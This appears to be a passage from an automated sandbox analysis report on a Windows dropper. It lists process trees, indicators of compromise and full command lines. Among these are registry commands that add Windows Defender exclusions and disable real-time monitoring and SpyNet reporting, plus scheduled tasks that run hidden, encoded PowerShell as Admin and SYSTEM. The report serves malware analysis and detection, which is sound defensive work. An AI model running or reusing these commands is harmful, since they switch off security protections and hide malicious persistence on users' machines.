1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe
1496	CGyiENY.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1984	powershell.EXE
Token: SeDebugPrivilege	672	powershell.EXE
Token: SeDebugPrivilege	684	powershell.EXE
Token: SeDebugPrivilege	1820	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1048 wrote to memory of 1988	1048	file.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1988 wrote to memory of 1512	1988	Install.exe	Install.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 368	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 1512 wrote to memory of 916	1512	Install.exe	forfiles.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 368 wrote to memory of 768	368	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 916 wrote to memory of 1604	916	forfiles.exe	cmd.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1008	768	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 1604 wrote to memory of 1248	1604	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 768 wrote to memory of 1580	768	cmd.exe	reg.exe
PID 1604 wrote to memory of 568	1604	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1048

C:\Users\Admin\AppData\Local\Temp\7zSFF75.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1988

C:\Users\Admin\AppData\Local\Temp\7zSCED.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:368

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:768

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1008

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1580

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1604

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1248

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:568

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gDSEGrUqY" /SC once /ST 12:29:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1724

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gDSEGrUqY"
4⤵
PID:456

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gDSEGrUqY"
4⤵
PID:1780

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 18:18:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\hGZnYIG.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1752

C:\Windows\system32\taskeng.exe
taskeng.exe {26D96536-F238-4D0B-8837-3235C92B77E6} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:672

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1748

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:112

C:\Windows\system32\taskeng.exe
taskeng.exe {F8843544-5C62-4552-8565-84E6F22B10D1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:432

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\hGZnYIG.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\hGZnYIG.exe Qf /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1544

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gOmQxMhWp" /SC once /ST 09:11:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:768

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gOmQxMhWp"
3⤵
PID:1972

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gOmQxMhWp"
3⤵
PID:1692

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1596

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1304

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1064

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1496

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gJoFWsXfF" /SC once /ST 16:39:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1420

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gJoFWsXfF"
3⤵
PID:1588

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gJoFWsXfF"
3⤵
PID:916

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1332

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:840

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1068

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:576

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1600

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1060

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1140

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1284

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\amMgkpDs\IGULwCCanJmYFccA.wsf"
3⤵
PID:948

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MNBTbrbBidagOXts\amMgkpDs\IGULwCCanJmYFccA.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1640

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1480

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1800

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1652

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1008

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gyWMNKRQj" /SC once /ST 14:34:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1580

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gyWMNKRQj"
3⤵
PID:876

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gyWMNKRQj"
3⤵
PID:1476

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:992

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1172

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:1728

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "GrrjjXtPjBVPFNmZQ" /SC once /ST 14:09:27 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\CGyiENY.exe\" 76 /site_id 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1600

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "GrrjjXtPjBVPFNmZQ"
3⤵
PID:620

C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\CGyiENY.exe
C:\Windows\Temp\MNBTbrbBidagOXts\wfcQztgHEpfDsSn\CGyiENY.exe 76 /site_id 525403 /S
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1496

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "beNJzxXkYGhzSCmkZn"
3⤵
PID:1248

